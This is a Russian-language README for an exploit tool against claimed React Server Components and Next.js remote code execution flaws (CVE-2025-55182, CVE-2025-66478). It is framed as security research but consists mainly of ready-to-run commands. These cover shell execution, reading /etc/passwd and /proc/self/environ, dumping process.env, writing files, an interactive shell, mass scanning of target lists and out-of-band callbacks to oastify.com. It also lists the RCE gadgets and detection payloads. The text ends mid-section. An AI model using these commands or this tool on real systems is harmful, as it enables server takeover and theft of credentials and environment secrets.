CVE-2025-55182 - Эксплойт RCE для React Server Components v2.0
Комплексный инструмент для исследований в области безопасности, предназначенный для тестирования уязвимостей CVE-2025-55182 и CVE-2025-66478 в React Server Components (RSC) и Server Actions в Next.js.
Обзор уязвимости
| Свойство | Значение |
|---|
| Идентификаторы CVE | CVE-2025-55182, CVE-2025-66478 |
| Оценка CVSS | 10.0 (КРИТИЧЕСКАЯ) |
| Затронутые версии | React < 19.2.0, Next.js < 15.0.5 |
| Тип уязвимости | Удаленное выполнение кода (RCE) |
| Вектор атаки | Сеть |
Возможности
- Сканирование уязвимостей в стиле PortSwigger с несколькими пейлоадами обнаружения
- Несколько RCE-гаджетов (execSync, spawnSync, vm.runInThisContext и др.)
- Тестирование внеполосных (OOB) callback-вызовов для проверки слепого RCE
- Возможности чтения/записи файлов
- Выполнение JavaScript-кода
- Режим интерактивной оболочки
- Массовое сканирование с многопоточностью
- Поддержка прокси (совместимо с Burp Suite)
- Форматы вывода JSON/Text
Установка
Требования
pip install requests
Версия Python
Быстрый старт
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
Использование
Аргументы командной строки
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Выбор цели
| Аргумент | Описание | Пример |
|---|
-u, --url | URL одной цели | -u https://target.com |
-l, --list | Файл, содержащий URL | -l targets.txt |
Режимы сканирования
| Аргумент | Описание |
|---|
--detect | Определить использование Next.js/RSC |
--check | Быстрая проверка уязвимости (математический тест) |
--scan | Полное сканирование уязвимостей (в стиле PortSwigger) |
--test-all | Протестировать все гаджеты и пейлоады обнаружения |
Эксплуатация
| Аргумент | Описание | Пример |
|---|
--cmd | Выполнить команду оболочки | --cmd "id" |
--gadget | Указать используемый гаджет | --gadget execSync |
--read | Прочитать файл с целевой системы | --read /etc/passwd |
--write | Записать файл на целевую систему | --write /tmp/test.txt "content" |
--js | Выполнить JavaScript-код | --js "process.env" |
--shell | Запустить интерактивную оболочку | --shell |
--oob | Хост для OOB-вызовов | --oob xyz.oastify.com |
Параметры подключения
| Аргумент | Описание | Пример |
|---|
-p, --proxy | HTTP/HTTPS прокси | -p http://127.0.0.1:8080 |
-c, --cookies | Строка cookie | -c "session=abc123" |
-H, --header | Дополнительный заголовок (можно повторять) | -H "X-Custom: value" |
-t, --threads | Количество потоков для массового сканирования | -t 20 |
--timeout | Таймаут запроса в секундах | --timeout 60 |
Параметры вывода
| Аргумент | Описание |
|---|
-o, --output | Сохранить результаты в файл (.json или .txt) |
-q, --quiet | Подавить баннер |
Примеры сканирования
Одиночная цель
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Массовое сканирование
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Примеры эксплуатации
Выполнение команд
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Операции с файлами
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
Выполнение JavaScript
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Интерактивная оболочка
python3 exploit-custom.py -u https://target.com --shell
Команды оболочки:
| Команда | Описание |
|---|
<command> | Выполнить команду оболочки |
!read <file> | Прочитать файл |
!write <file> <content> | Записать файл |
!js <code> | Выполнить JavaScript |
!gadget <name> | Переключить гаджет |
exit | Выйти из оболочки |
Доступные гаджеты
RCE-гаджеты
| Имя | Идентификатор модуля | Описание |
|---|
execSync | child_process#execSync | Прямое выполнение команд оболочки |
execFileSync | child_process#execFileSync | Выполнение бинарного файла |
spawnSync | child_process#spawnSync | Запуск процесса с аргументами |
vm_runInThisContext | vm#runInThisContext | Выполнение JS в текущем контексте |
vm_runInNewContext | vm#runInNewContext | Выполнение JS с выходом из песочницы |
vm_runInThisContext_global | vm#runInThisContext | Выполнение через global.process |
Файловые гаджеты
| Имя | Идентификатор модуля | Описание |
|---|
fs_readFileSync | fs#readFileSync | Чтение произвольных файлов |
fs_writeFileSync | fs#writeFileSync | Запись произвольных файлов |
OOB-гаджеты
| Имя | Описание |
|---|
vm_fetch | HTTP-запрос через fetch API (Node 18+) |
vm_http | HTTP-запрос через модуль http |
Пейлоады обнаружения (CVE-2025-66478)
Режим --scan использует следующие пейлоады обнаружения в стиле PortSwigger:
| Пейлоад | Описание |
|---|
property_reference | Ссылка на свойство, разделённая двоеточиями ["$1:a:a"] |
property_reference_v2 | Альтернативная ссылка ["$1:b:b"] |
property_reference_constructor | Доступ к конструктору через ссылку на свойство |
property_reference_proto | Доступ к цепочке прототипов через ссылку на свойство |
action_ref_vm | ACTION_REF с vm#runInThisContext |
action_ref_execSync | ACTION_REF с child_process#execSync |
Методы OOB-вызовов
Инструмент поддерживает несколько методов OOB-вызовов: